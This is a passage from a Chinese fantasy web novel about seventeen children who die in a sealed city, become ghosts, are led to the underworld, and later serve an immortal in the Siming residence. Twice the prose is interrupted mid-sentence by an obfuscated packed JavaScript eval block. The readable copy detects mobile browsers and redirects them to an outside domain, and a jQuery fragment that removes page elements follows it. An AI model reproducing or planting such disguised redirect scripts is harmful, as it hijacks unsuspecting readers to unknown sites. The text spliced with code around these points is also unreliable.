蓦然,门外一位男孩高声附和道:“如她所言,我们随父亲外出见过蛮族人,的确是这幅装扮。没耳坠子相称,倒是浪费了这幅好相貌。” 竟有两人在“偷听”。 远处黑影中,慢慢走出两人,一人张扬,一人知礼,背着包袱。 那张扬之人刚闭上嘴,另一位男孩道:“我们两是雍凉城守将之子,我随父亲姓,名唤宋世平。” 方才主动插话的张扬男孩,蹦跳一步,朝气蓬勃,比划手脚道:“我叫杨战息,跟母亲姓。姓氏由来先说于你们听,是因为我们不想你们也和别人一样,临了再问上一遍:你们亲兄弟?为什么一个姓杨?一个姓宋啊…另外!还要再同你们强调一个我不喜欢的问题,我们两人虽同时出生,但他不是我哥哥,我也不是他弟弟,我就是杨战息。” 溪亖音和安在心拍手鼓舞,其他人静默无言,倒是隗晎趁此时机,从怀里掏出一个布裹,道:“我有一枚月光石做的长坠子,不是偷盗,不是捡来的,是为一商人做小工,他赏的。” 他递给了怀晓,怀晓犹豫了一小会儿,目光逐渐坚硬,终于侧低脑袋,戴在了银勾上。 果然,月光石补足了缺失,本就美的人变得越加美艳,怀晓魅惑妖冶,见之惊叹,众人纷纷忍不住发出感叹。 反观乐正词媿,她虽眼前一亮,却是极快地瞄了一眼隗晎,不可置信,试探道:“还真是月光石,你和他们挺不一样。” 见多识广…犹如高门大户家的孩子。 隗晎自然知道她说的什么意思,别人也听明白了。 只因隗晎和那六人都穿着破烂,像是小乞儿,所以以乐正词媿为首,世家出来的孩子,没有人相信一个乞丐能知道这么多,小小年纪,谈吐还很得体。 净枕瘪嘴帮腔道:“隗晎自小在私塾附近乞讨,若不是凑不上学费,没有户籍,他该是和你们一样坐在学堂里,堂堂正正学本事。隗晎极其聪明…指不定会是先生最喜欢的学生。” 乐正词媿垂目,别扭转头,朝门口二人道:“不要傻站着了,进来吧,隗晎心思缜密,为人大方,他早已经请他们上去拿被褥。跟着他,在迎新城的三日,指不定能舒舒坦坦地过…万一,他找到城楼中的出口,大家也就不用死了。” 她这番话,算是认隗晎来当主事人,变相地,以此法子为刚才的事道歉。而其他人,在她的言语意思里,入了这门,便直接会归属到隗晎庇护中。 没问隗晎愿不愿意… 也没问别人答不答应… 好在,隗晎在那六人中充当惯了这种角色,并没有什么异议。 新来几人年岁又都还尚小,隗晎今日相遇后,颇为照顾,自然而然,他们将凡事都冲在前面的隗晎作为“发号施令”人,现下,倒没有察觉出乐正词媿的话有什么不妥。 倒是宋世平和杨战息,因出自将士之家,两人理解成踏入门内,便要听命于隗晎,脚下迈门槛的动作犹犹豫豫,纠结不已。 二人身后,一串笑声响起,一人紧接着道:“你们进去吗?” 85. 城外天命城内命4 由身后人的话一吓,两人双脚踉跄跨了进去,他们尴尬地站在门口,朝身后转去,才看见两名和他们年岁相差不大的男孩。 其中一人笑脸盈盈,一人愁眉苦脸。 这两人一起往向隗晎,笑脸那人道:“我叫凉离,他叫甘歌,今天在城门处大家相互见过的。” 宋世平和杨战息眼见傻站在门口有些尴尬,正好齐同舟等人,双手各抱了被褥,从楼上蹒跚地走下来。 二人眼神交汇,未多言语,直奔楼梯帮忙。 隗晎朝门口邀请道:“夜深露寒,先进来再说吧。” 闻言,凉离和甘歌,一前一后,迈进了门内。 屋内挤挤,热闹繁杂,凉离侧了身,顺手关上了门,正想带上门栓。 那方,隗晎道:“客栈里只有十六人…” “吱呀——”,凉离一愣,笑了几声,把手从门阀上撤了回来,打开门扉,任由屋内景象敞漏,道:“城门分别,我和甘歌没见过除堂内以外的人。” 凉离在说谁,他们都清楚,溪亖音摇摇头,乐正词媿也摇了摇头,安在心呢喃道:分上馒头后,搬了烛火,我们七人回到客栈,就没再出去过,也没见过。” 怀晓摇头道:“没见过。” 楼梯上,杨战息一边帮齐同舟等人接被褥,一边道:“我和宋世平日落前见过那人,他叫南泥,他和他朋友都是符合条件的阳性之人,不知为何竟被朋友诓骗了去击鼓。我们交谈了几句,我瞧他说话挺活泼的,不该是孤僻之人。只是当我和宋世平提出想与他结伴时,他脸色大变,就跑开了。” 宋世平补充道:“你们都没见过的话,当是从我们兄弟二人见过之后,他便开始一个人在城里转悠。现在城内黢黑一片,不知道能走到哪里去。” 凉离道:“要去找吗?” 隗晎摇头道:“不用,这城里没有大的危险,这家客栈又在城中,若是他留心,会和你们一样找过来。” 怀晓踟蹰开口道:“杨战息和宋世平方才所说,他好像不愿与人结队,怎么会主动找过来呢…” 乐正词媿道:“去找一找?” 隗晎蹙眉道:“你们待在客栈里,我去找。” 杨战息道:“你不是说没危险吗?我们也去啊,人多,指不定一会儿就找到了。” 怀晓提议道:“我和你一起去吧…” 隗晎站了起来,拒绝道:“不用。” 其实,黑夜并非黑夜,隗晎能清楚地看见迎新城空中的阵法,越来越亮,有许多喜细网在向城外蔓延,他不知道那是什么。 迎新城安全,金色阵法却是未知。 凉离和甘歌侧身给隗晎让了路,杨战息大喊道:“我说了人多找的快,我跟你一起去!!” 杨战息“咚咚”地下了楼,把手上被褥往地上一扔,脚还没迈开,转身,便看见隗晎背影在门口五步外,站定僵住。 隗晎语气惊喜道:“这下真不用了。” 原来,刚出客栈门,一个身影绊进了他怀里。隗晎抬头向屋顶上望了一眼,一丝微微的淡光隐匿了下去,不属于烛火,不属于圆月,他第一次见。 和城内亮起光芒的阵法,金辉闪烁,让他很是不喜欢。 但他,还是感激的。 因为,他知道,屋顶上虚无的一片藏了谁。 客栈内一阵热议。隗晎朝怀里人问道:“你叫南泥?” 南泥撑了起来,四下张望,疑惑道:“你是谁?我怎么会在这里?” 隗晎稍侧身子,漏出后面客栈内的一众人,不答反问道:“我是隗晎,今日我们都见过的,你适才在做什么?” 南泥从隗晎双手中离开,被眼前“热闹”的景象惊吓到后退了半步,回忆道:“一个巷子里,准备进一间没关门的房子,跌了一跤,抬头…看见了你和这里。” 南泥失神道:“那里没有光…” 隗晎点头,心有计算道:“嗯…不用太慌张,我们还在迎新城内,你也还在迎新城内,并有去到其他地方。至于你为什么会突然出现在这里,想来多半是白日里的那道士所为,他自称阎罗王,合该是有这样的本领…他估计需要我们待在一起。” 最后一句话,是隗晎猜测的,也是他唬南泥的。 南泥点了点头,若有所思,愣在原地,一句话也不说。 隗晎道:“走吧,先进屋再说…” 南泥犹豫道:“我…” 杨战息从客栈门内跳了出来,热情招呼道:“南泥,进去吧,大家都在这里。” 南泥苦恼纠结,心有芥蒂道:“我…你们…我…不是小孩。” 隗晎淡淡地道:“没有人当你是小孩,只剩三天的日子,你就算是再担心,也不会失去得更多了。” 顿了,他转头看向门内,道:“或许,能比失去得到更多…” 这话,简直不像是一个孩童该说的话,也不像是孩童该听的。 可是,隗晎如同学堂先生似的,讲了。 门外两人像真的学生一般,听懂了。 因屋内闹哄哄的一群人,三人眼神明亮,充满希冀,仿佛瞬间对明日有所期盼了。 杨战息感悟,指向门口走来的宋世平,同南泥爽朗笑道:“南泥啊!看见没,那个人是我哥,今天我们同你说过话的。到这里之前,他曾告诉我,能被选来此处的人,都是非凡的,是注定接下来要一起结伴同行的人,所以,我们是上天选定好的朋友,我想像我阿爹一样,战功赫赫,名声赫赫,响彻疆域,再荣归故里。你呢?” 杨战息久久不进去,隗晎又站在门前没有动作,宋世平找了一个借口,走了出来,想看看情况,刚越过隗晎,便听见了这句话。 霎时,那一声“哥”让宋世平心头颤动,他道:“我们的命只剩三日,若一直怕,三日后,再无机会了。” 隗晎道:“好好看看眼前吧。” 南泥眼眶湿润,双拳紧握,大吼道:“我…我不怕!我从未怕过!!我又不是什么胆小鬼!!若是直接给我说,为朋友两肋插刀,帮大家解决麻烦,我也是愿意的…他们…他们骗我!欺我!瞒我!!!不信我!!我南泥是那种人吗?!!” 杨战息垂下了头,肩头紧绷,艰难道:“是胆小鬼又会怎么样!为什么一定要挺身而出?!我们不是大人,不需要事事都想得通…” 抬起头来,看了两眼宋世平,将目光锁定在南泥身上,杨战息收敛姿态,道:“我就是一个胆小鬼。南泥,你知道吗?我们家只需要出一个人的,那名单上写的是我,是我杨战息的名字,他们抓的也是我,可是宋世平一句‘弟弟会害怕,既然我不能替他,就让我去守着弟弟吧’,阿爹阿娘同意了,都背着我,让作为我的哥哥他跟上了马车。我不是很懂,我也有不甘和疑问,可…都到这一步了,为什么还要去想呢?” 宋世平忍不住道:“杨战息,我们说好不再提这件事的…” 杨战息撇头忍下眼眶里打转的泪水,扯出嘴角,笑道:“宋世平,你在想什么呢,我这是为了告诉南泥,我们做男子汉的,要放得开!和阿爹他们一样!!” 闻言,南泥浑身发抖,怒喊道:“我南泥是顶天立地的男子汉,我不是怕你们,我只是不喜欢…不喜欢再遇见那么一群人。” 杨战息一手揽宋世平,一手踟蹰地拉来隗晎,见对方没有抗拒,大笑地揽上肩膀,对南泥道:“你瞧,我们三人,谁都不像他们!!” 南泥嗫嚅道:“我知道…” 而这时,门口不知何时里外都围上了人,大大小小的脑袋,挤满了门框。乐正词媿冷冷地打击屋外激扬的“大男子”,道:“只剩三日了,你们倒是挺有精力的…” 两名小姑娘,从乐正词媿身边挤了出来,跑到隗晎身边,抱了上去。 溪亖音截断了乐正词媿的话,道:“小晎哥哥,我可以一起做‘男子汉’吗?你也可以对我好吗?我会对你们好的…” 隗晎点头同意,半扶溪亖音摇晃不稳的身子,另一边的安在心推了推溪亖音,别扭道:“谁要做男子汉啊,不过隗晎不会介意多你们几个朋友的,看在今日一起吃蜜的份上,我嘛…自然也不会介意。” 溪亖音不明所以,但很开心,道:“真好啊,以前我都是一个人的。” 她伸出小手,向在场身影一个一个点数,连门口的脑袋也没放过,道:“一、二…十、十一…十六,哇!有十六个人陪我…” 安在心戳了一下溪亖音的脑袋,道:“傻!你出生这么好都没学过算术吗?隗晎教过我们的,十七人减自己,不就是十六人吗?你还一个一个数。” 溪亖音笑了笑道:“我以前没学,但今日跟着你学了。” 她指了指自己,道:“十七减一,有十六个人陪我了。” 乐正词媿珊珊地走过来,讪讪地道:“迎新城内只有我们这些人,既然要玩,人多肯定更有趣一些,我也加入吧。” 这话,让几人眼前一亮,溪亖音脆脆地道:“真好,没想到还能和大家一起玩。” 她朝门口招了招手,唤道:“怀晓哥哥,快点过来,我们一起做男子汉,很好玩的。” 一同的还有隗晎,他也叫唤道:“齐同舟,你们过来吧。” 顿了顿,嘴上顺着溪亖音的话,他浅笑道:“难得城里又有人了,一起凑凑热闹。” 陆陆续续,门口走掉一大半的人,凉离招呼身边的人道:“甘歌,你要一直冷着脸吗?要不我们也去玩一玩?看起来很不错哎…” 甘歌耳根微红,点头道:“你走前面。” 凉离笑道:“好好好,我走前面…做‘男子汉’应该挺有意思的。” 甘歌不忘身旁两个小孩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隗晎咬住牙,脑中连连轰鸣,贺和那日说的话,频繁在他脑中出现“好好想一想,本君是谁”,“轮回非最好的生,死肉身也非绝命,”“你们若真想活命,便要断这一生。”“本君是谁?”“你们若真想活命…”“轮回…”“死肉身…” 奋力地想要推开身上的黑雾,倒是越粘越紧,他求生的欲望,让头上的疼一点不轻于身上的痛,挣扎的瞬间,丢失了太多力气,只余嘴上震吼,道:“凭什么!!你们谁啊!!!生死怎么了!!” 黑雾没推开,他抱住了一团。 那雾恍若察觉到嘴下除了“食物”,还有一股能困住它的力量,惊恐腾起,连带抱住它他的隗晎,一并拉到半空中,在迎新城内飞窜,四处逃跑。 它在抵抗,他也在抵抗。 谁知,下一刻,隗晎用劲儿太大,一团黑稠的雾在他双臂下,淡淡地散开,没了生气。 他徒手杀了魔。 那团雾消失退去的时候,腾飞的力道随之卸走。隗晎恰好在半空中,没了黑雾的承载,他宛如一块巨石,连旋儿都没打一个,直直垂落而下。 砰! 威力不小,他身下的黑雾悉数俱化成一阵烟,渐渐地涣散。 竟是让隗晎压死了四五只正在进食的黑雾… 隗晎平躺在地,仰面望天,疑惑道:“这么高…怎么回事?没死?” 金纹星图越压越低,天上黑雾依旧在四窜,碰到阵法被击溃的黑雾不在少数,他不敢多做犹豫,转身爬了起来。 刚侧身,他便看见了半张和他一模一样的脸蛋。 那脑袋下脖子还在,肩膀也还在,双臂却是没有了。 胸膛凹了下去,倒是没漏出似水的血液,或是肠子内脏,下身有一半已经没了,另一半,小腿和脚也没了,上面多多少少都凹陷了几处。 无一例外,伤口处都飘散着金辉。 那一支血香还在他身旁燃烧,一样的金色火灰,甚是惹人心烦。 隗晎记起来了,他让黑雾拖飞前,就已经差不多被啃成了这幅模样。 他低头看了眼腿脚,完好无损。 瞧了瞧双臂和身上,除了衣服更加破烂,能和地上的“他”残缺对上,别的再无相似。 傻傻愣愣,他又朝四周望了望,才发现,那些黑雾现在居然看不见他。 几处异常,让他很是费解。 正好,他身旁有一团在啃食的黑雾。 他走上前,抡起双拳,黑雾轰然散开,他满眼震惊,看清雾下人,目光又一震——他看见了两个怀晓,一个闭眼蜷缩的怀晓,贴合在一副残破的“怀晓”身上。 86. 城外天命城内命5 隗晎叫道:“怀晓!” 那闭眼的怀晓倏地睁开了眼,面容痛苦,残破的“怀晓”顿时没了反应。 这时候,哪还能给隗晎时间思考清楚原因!!他条件反应,躬身弯腰,双手牵住闭眼怀晓的手,死劲儿把怀晓从残破的“怀晓”身体里拉出来。 重量异常,似有千钧,和眼前的小孩身量该有的重量完全不一样,隗晎使出全身力气“拔人”。 砰—— 两人翻转倒下,生生将地砸出了一个坑。 “隗晎?” 怀晓趴在隗晎怀里,半撑双手,半起身,疑惑地看向身下人,道:“这是怎么回事?” 一拉一扯,轰然倒地,怀晓身上突然不疼也不难受了。 隗晎没急着回答,反而试探确认道:“怀晓?” 怀晓翻身站起,拍拍手,拍拍胸口,指了指一旁的“怀晓”,应道:“是我…我身上不疼了,这是怎么回事?” 看着隗晎一脸痛苦得爬了起来,关心道:“你身上还疼吗?” 疼? 这一提醒,隗晎倒吸一口冷气,他方才的确是不疼的,但现下,双臂却有些发麻,有些酸软无力…仿佛搬运重物留下的后遗症。 叮!! 他好像明白这是怎么回事了!!! 贺和那句“好好想一想,本君是谁”一闪而过,隗晎脑中生出一丝荒谬的想法: 书中说,魂魄重可抵千钧。 道长让想清楚他是谁… 地下幽府,阎罗阴差,孤魂…野鬼。 他是鬼! 所以…断生,是做鬼… 他和怀晓成鬼了?!! 想通这一点,隗晎焦急地对怀晓道:“快找其他人,我有办法救大伙儿。” 两人边走边寻,一路上,隗晎把贺和告诉他的话,和方才他想通的点,全告诉给了怀晓。 听清原委,迎新城又不小,两人当下决定分开而行,争取在他们被“吃尽”前,先让他们死去做鬼。 半晌,隗晎寻到了一拥吃饭的黑雾,他赤手空拳,清散魔界余孽,努力一拔,拉起来一人。而那边,怀晓如他所言,旱地拔葱,拽起了溪亖音。 果真是活命的法子… 金纹星图,摧压迎新城地面不足两丈,十七人,一个不少,全从破烂的身体里逃了出来。 隗晎和怀晓双手拔了太多魂魄,现在虚软得像一根肉绳,众人跑起来的时候,他两的手一晃一晃地甩动,好不滑稽,任其余十五人看在眼里,却是笑不出,俱是由心由身,又心疼,又气愤苍天。 迎新城不小,十七人走街转巷,寻早可落脚的地方。可不论他们跑到哪里,都能遇见黑雾,和看见城中上空越压越低的金纹星图,以及被法阵压毁倒塌的房屋。 瓦砾横飞,墙石砸落,黑雾涣散。 乐正词媿停下脚步,道:“我们去哪?” 凉离神色严肃道:“胡乱跑下去不是办法。” 怀晓拧眉道:“隗晎,那道长可还留下什么话?” 隗晎摇摇头,默不言语。 南泥抬头,担忧地道:“头顶的图文好像有东西在蹿下来…” 他们成魂身后,有了鬼眼,都能看见金纹星图。 溪亖音顺着南泥的话,也瞟了一眼那东西,哭泣道:“那是金色烟花吗?不是用来看的吗?落下来会炸伤我们吗?早知道那天晚上就在屋子里不出去了,都怪你…南泥都怪你,你要是不站在外面,我们就不会遇见这些东西了,这金色烟花…呜呜呜…我不要了…不要了…我不想看了…不喜欢…” 她糊里糊涂苦恼,倒是踩在了点上。隗晎眼眸微凝,猛地想起看烟花那晚,从屋顶沿路留下的金辉印记,喝道:“回客栈。” 众人也不问,先一起跑回了客栈。 果然,除了客栈,四处的房屋,片刻之间,都闯入了黑雾和金色烟火,嘣嘣哧哧,炸裂轰塌。 不知道过了多久,浓烟四散的客栈里,不再透入刺眼金辉,迎飞扬尘土走来一身熊服,贺和手抱面具,笑眼盈盈地出现了。 他抬手幻出一条锁链,捆绑十七人手腕,嘴中嘀嘀咕咕道:“抬起双手,前路不愁,魂链一绕,去把往生投,听话小鬼,来世路好走。” 隗晎灰头土脸,眼眸星碎道:“你能送我们去投生?” 贺和一怔,尬笑道:“这只是一段顺口溜,何必较真。” “…” 乐正词媿小脸脏脏,端正身姿,道:“道长,我们会怎样?” 贺和挑眉道:“既然做了小鬼,该唤本君第十殿殿下了。” 怀晓心有余悸,担忧道:“你们还会继续那样烧我们吗?” 溪亖音呜呜哇哇,哭喊道:“疼…” … 贺和一指放在嘴前,“嘘~”了一声,迟疑道:“你们会怎样,本君不知,你们既然已经断生,鬼身自此后便是不能留在人间的。今日,算是你们的福报,本君亲自来替你们引路,到了一殿…” 他停顿一瞬,眼皮跳动道:“见过第一殿殿主,你们便知去留。此时问本君,徒劳…本君也是一概不知,现下,这间客栈,只有小鬼和引魂使者。” 十七人中,有几人立即悔悟贺和的意思,肃容隐声。 隗晎代为应道:“多谢殿下,还请殿下此路关照一二。” 贺和满意点点头,道:“好说好说…” 十七人跟着贺和进了地下,来到六天宫的第一殿接受审问。 按理说,第一殿审讯时,其他殿的殿主不该在场,奈何十七人所遇事非常事,贺和又是此事的主事人,且途中他还横叉了两脚,透露生死天机,保下毁天灭地阵法中的十七只魂魄。 作为第一殿的殿主,贺仁听完贺和的坦白,知晓隗晎凭自身之力挣脱肉身,以魂身在迎新城内索魂引路,震惊之余… 为免贺和惹上的麻烦事,让整个六天宫因而招致更大的麻烦,贺仁帮其隐瞒真相,捏造了一份虚言——献祭的十七位阳性生灵肉身烧毁,魂魄不灭,生气散尽,虚短余生,上苍当敬其仁义,让十七人在六天宫以魂身善了善终。 禀报于三界帝君,贺仁和贺和勉强留了十七人在六天宫处置。 十七人的事,贺和摊上了,因此不得不上心。 因贺和的参与,贺仁又知道了一件逆改天命的大事,他也不得不上心。 此时,贺仁隐了贺和的那些桥段,将十七人的献祭之事说与第五茗听。 听完这些,第五茗好似心受重击:天道,无情。 那九重天下的金印大字,不是天机,不是福报,是冰冷处置苍生的随笔。 和司命写故事一样… 不敬生命,笔墨囫囵。 她没有听了一个新故事的喜悦。怀里的溪亖音,回忆起那日场景,掩面泪流不止,让她多了一份沉思。 她突然很想看看…十七人以从孩童之识,能走到何种地步。 第五茗看了眼溪亖音双手珍捧的新生水,拿玉瓶做借口,扬言让他们一定要记得归还。 结果…玉瓶还回来了。 却是溪亖音独自一人到司命府还的东西。 隗晎没来。 其他人更没有来。 本来,没还玉瓶的时候,溪亖音隔三差五地,会到司命府门口绕一绕…还了以后,竟是连溪亖音的身影也没有了。 第五茗不思不得其解:哪一步骤出错了?!! 隗晎在阎罗殿谋划的事,不就是为了带那十七人入司命府吗? 玉瓶,她给了。 这几日,特意清走了小鬼,给他们腾入口。 十七人仿佛主动放弃了这个机会… 过了一两月… 也就是第五茗醉酒后,做的第三场梦境。 她终于见到了隗晎。 还是她主动拉了他入局,玩一场游戏。 她的赌注十分可笑——她赢了,隗晎来做她的奴仆。 当日送上门的她不要,如今别人放弃了,她反而惦记上了。 那场游戏,很出乎意外,是平手。 幸好啊,在第五茗失落离去时,隗晎犹豫再三,主动张口道:“真君,司命府缺仆侍…是吗?” 第五茗愣愣地道:“你愿意去?” 隗晎道:“刚才的游戏谜底已解,算是…真君赢了,同样也是我赢了。” 第五茗抱手道:“所以呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815453|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 隗晎道:“赌注该履行。” 第五茗笑容难掩,道:“哦…明日你来司命府报道吧。” 她故意停顿,紧瞧隗晎变幻莫测的脸色,好一会儿,才继续道:“你的赌注是什么?要本君兑现什么?别太过分,本君出了名的不讲理,出尔反尔是家常便饭…” 隗晎打断她的话,道:“他们可以来吗?” 第五茗喃喃道:“可以。” 岂止是可以入司命府这般简单,第五茗早在第二天宫给他们谋了一方去处,方便以无痛无伤的灵气,洗涤他们的瘴怨。 隗晎耳根微红,歉意道:“小音在判罚殿的事…是我不对,还请真君处罚。” 第五茗摆手道:“先记账吧,那日托你的福,得了几则不错的故事,至于你算计本君的事,日后本君再讨要。” 隗晎愣住,点点头,不知道该说什么好。 十七人入司命府做随侍,至此,第五茗平白无故,得了十七只小鬼伺候,府中事情也不再亲力亲为,渐渐习惯了使唤小鬼。 - 第五茗脑袋发胀,嘴唇干得厉害,唤道:“隗七…给本君送一杯水来…隗七…” 久久未有回应。 她睁开眼,发现自己躺的地方竟不是软榻,而是司命府正中央那张方桌桌案,心道:隗七将本君扔在这里的? 想到“扔”,第五茗浑身不由得哆嗦一阵,昏昏沉沉,头晕恶心,接连袭来…手指捻诀用法力驱散不适,好不容易清心定神,才想起来,先前在饮阳酒同别人拼酒,是隗晎把她扛了回来… 她嘻嘻笑了笑,道:“原来是本君自己跑到这里来的…” 可惜,作画时和醉酒时发生的事,第五茗实在想不起来。 她瞧见桌案周围的一圈结界,明白了隗晎为什么没有应她的话,挥手施法,把结界解开,又叫了一遍,道:“隗七…” 仍旧没有人回应。 第五茗第一次这样被冷淡对待,手在头穴上揉了揉,嘟囔道:“本君早说过,让你们鬼心别乱动念想,好了吧,你们一个二个都生出了小心思,今日叫不动,明日是不是就要走火入魔?!” 她转身,准备“起床”,从桌案一侧把脚放下,没等她一撑一跳,脚底软软的,她踩到了什么东西。 第五茗一边埋怨道:“竟是连司命府也不打扫了…隗七的鬼心都有动荡,他们…唉…看样子是本君动作太慢了。” 一边低头朝下看,她眼睛登时睁得溜圆… 隗晎昏睡在桌案下。 身姿挺直,双腿并拢,双手紧贴身子两侧,好似一条死了很久的咸鱼。 第五茗跳下桌,蹲在隗晎身边,探上脖子摸了摸,道:“还好,没有脉搏。” 手指在隗晎鼻尖探了探,道:“也还好,没有呼吸。” ?!! 第五茗甚是无语:他死了几百年了,怎么在用凡人的法子!! 书看多了?!还是酒喝多了?!! 第五茗十指凝法,探在隗晎眉心,又凑近隗晎面颊嗅了嗅,直起身,收了法术,忍不住嘲笑道:“醉了?隗七…你睡多久了?你未修炼前就是‘大状元’,这是怎么了…贪嘴?” 想起过往两人拼酒,她阳酒,隗晎茶酒…往往都是她醒了睡,睡了醒,隗晎泰然若之地在司命府走动。 往日,第五茗气啊… 可她碍于司命真君的身份,不好意思拿茶酒同一只小鬼拼酒,只能默默认了。 此时,看见隗晎醉酒酣睡,她担心之余,见他身体无语,此刻别提有多高兴。 跳到一旁,第五茗围着隗晎左右转了两圈,幻出一张太师椅,坐在正对面,扳起手指默默掐算时辰,硬是那样守着地上的隗晎数了大半个时辰,方松了手,大笑道:“隗七啊隗七,你也有今天。本君说过,总有一日,会在酒量上赢过你的!!” 她手一挥,为地上人清理了衣裳上的污渍尘埃,扫出一阵强风,将隗晎托到了软榻上,兴高采烈,激动难耐,拂袖去往第二天宫,赶紧向其他十六只小鬼,宣报此番酒局的输赢。 借此,她可以避开隗晎,与十六人单独开一局游戏… 此局,必须得让那十六人赢!! 87. 不讲道理就是理1 在去的路上,第五茗接到司命府的询令,绕道回了一趟天界,恰好赶上了界盛宴,酒食三巡,她再回来时已经是四五日后。 美酒佳肴之前的事她可没忘记,心里一直憋着赢了隗晎的喜悦,回到六天宫,她直奔第二天宫,在十七只小鬼住的屋舍外,用通灵喊道:“且都速速到庭院集合,本君有重要的事情说与你们听。” 十七人修炼均有长进,最不济的齐同舟等人,身量也窜了一两厘,如今个个看起来,都似有血有肉的少男少女,模样清雅又秀丽。 其中,怀晓天生的骨相最是好,修炼又最是勤奋,底子一瞧便知是万里挑一。可惜,他偏生将从头到脚的筋骨,朝粗粝端正的方向淬炼。 他修为不低,仅次于隗晎,所以是第一个到庭院中的人。 第五茗看见他越发刚毅的身貌,砸了咂嘴,惋惜摇头,坐在石凳上,倒了两杯雪水,邀了怀晓一起坐下,道:“你该学一学隗七的,他模样修得青葱白嫩,瞧着好看许多,而今都快将你比下去了。” 怀晓端坐,恭敬有礼,进退适度地接过第五茗递来的杯子,庄重道:“真君喜欢娇俏容颜,我后面尽量…不修容貌。” 第五茗一愣,端水的杯子一歪,讪讪地道:“那倒不必…本君没别的意思,只是觉得你那副美貌浪费了,着实可惜。” 怀晓幻出一方白巾,双手递上,笑道:“真君的心意,怀晓都明白。” 第五茗拿走白巾。 怀晓收回手,下意识地抬起一只,抚上耳骨,顺过上面的三颗耳饰,仿佛在对抗。 须臾,他轻晃脑袋,泯然一笑道:“我会尽力的。” 看到这里,基本都明白了双方的意图。 一个想让对方放下过往,一个却放不下曾经。 任由别人怎样开解,时间如何流逝,那些刻在心底的东西,在发生翻天覆地的变化后,终究还是留下了一些痕迹,避无可避。 第五茗擦净手上水渍,将白巾放在桌上,抿了一口水,解了宴后口乏,道:“嗯,你是聪明的,本君不多言。” 唰~ 此间风动,一人接一人,陆陆续续都到了后院。 众人在石桌旁或站,或坐,或靠…他们自从与第五茗相处熟稔,便知道,第五茗不过是个面热心也热,好奇心极重,像小孩子一样的仙君。 和其他鬼仙不同。 溪亖音跪坐在第五茗身旁,问道:“姐姐…你今天怎么来了?你刚刚说有重要的事?是第六天宫发生什么大事了吗?你可有去凑热闹?小音可以去玩一玩吗?” 她双髻上的长辫,又顺又丝滑。第五茗随手拿起一股辫子在手中把玩,道:“小音,问题要一个一个的问,你每次一连几问,还让不让别人说话了?” 末了,她吐槽了一句道:“这习惯,你什么时候能改啊…” 溪亖音嘟囔道:“哦…我知道了。” 第五茗却没有忽视她的问题,一条一条地答道:“本君四五日前就该来的,回天界赴了一场宴会,陪他们多喝了两杯,这才迟了。” 听到“天界”“宴会”,在场的十几人,眼如星火,明亮又闪烁。 然而,没有一只小鬼张口询问详细。 尤其当他们各自在心底盘算了四五日前六天宫的事后,纷纷双目暗沉,像是想提前结束此次聚会,提前规避什么事情一样。 第五茗继续道:“第六天宫能有什么大事,热闹嘛…现在也是越来越少了,没什么可以说给你们听的。” 放下溪亖音的长辫,第五茗轻拍她脑袋,等她直起身来后,整理衣襟,模样庄重道:“有一件关于本君的大事,是喜事!本君要宣告于你们。” 突然,她转口道:“算了,有人要玩「解谜」吗?猜对了可以向本君索要一个愿望。” 闻言,众人一阵沉默。 第五茗望了一圈,摇头感喟道:“胆子这般小,怎么能有所突破呢?当学一学隗七啊,他和本君叫板的时候,可不见得像是一只小鬼。” 乐正词媿挑言道:“真君慧眼,当知道隗七的心从不遐想,我们心性浮躁,你不该给我这些机会。” 第五茗挑眉欣喜,诱惑道:“再问最后一遍,有人玩「解谜」吗?本君可不会…” 霎时,院中微风再起。 不远处,第五茗身后传来一道慵懒的男子声音,似才睡醒一般,道:“真君,我陪你玩。” 第五茗失落道:“隗七怪是会碍事,你们又没机会了。” 隗晎走了过来,抱手一礼,不似在司命府时的谦卑,举止泰然,在桌上倒了一杯雪水,解渴清神,环顾一圈道:“怎么都在这里,今日不用修炼了吗?” 这些年,虽然隗晎模样看着年轻俊美,气质和心思倒是越发老成…和严肃。 十六人的修炼,在隗晎的监督下,变得十分“主动”,且“刻苦”。 瞬间,气氛凛然,第五茗抖了抖。 别说十六人畏惧于隗晎,第五茗现下,也有些不适,苦闷默念道:幸好老司命不是隗晎这种人…幸好本君是天生神格… 吓死仙儿了。 那厢,怀晓应道:“真君唤我们来的,说是有重要的事要宣讲。” 第五茗浑身震了震… 隗晎眼眸一拧,眉角轻跳,盯了过来,第五茗笑嘻嘻地回看了过去。 突兀地,隗晎身子也同她一样,颤了颤… 很是明显。 她怕他,情有可原。 那他怕她,为何? 因为十六人的事,烦了?? 第五茗眉头微蹙,猜不明白…有神眼能看清万物,却临到头忘记用。 只消仔细一点,凡胎肉眼其实也能看清,隗晎现下的模样像是被对面目光灼烧到了,他耳根倏地通红,连带青白的脸颊,慢慢涌现了一些淡粉。 原来,方才隗晎是心间在发颤,继而导致身体一震。此刻,他脑海中反复在轮播一些画面,那一幕幕和第五茗有关的活色生香,同第五茗心中盘算的注意,完全是两码事。 这时,怀晓侧头靠近隗晎,小声询问道:“你刚醉酒醒来,不先去洗漱一番吗?瞧起来有些憔悴…” 原来如此… 是喝醉了,还没醒过来啊。 还以为你对本君有不满… 桌旁,第五茗摆手一挥,一道法力落在隗晎身上,让浑身疲惫松散的隗晎,瞬间清爽。 她为其‘清衣整容’后,喜悦道:“不用不用…本君动动手,替隗七净身。” 猛然,第五茗反应过来刚刚怀晓讲的话,疑问道:“你知道隗晎醉酒了?还知道他昏睡?” 怀晓点了点头。 其他人听到此处,算是明白了第五茗又一次把他们急急召集在这里是所谓何事了。 估摸是在一些莫须有的事情上,再一次赢了隗晎。 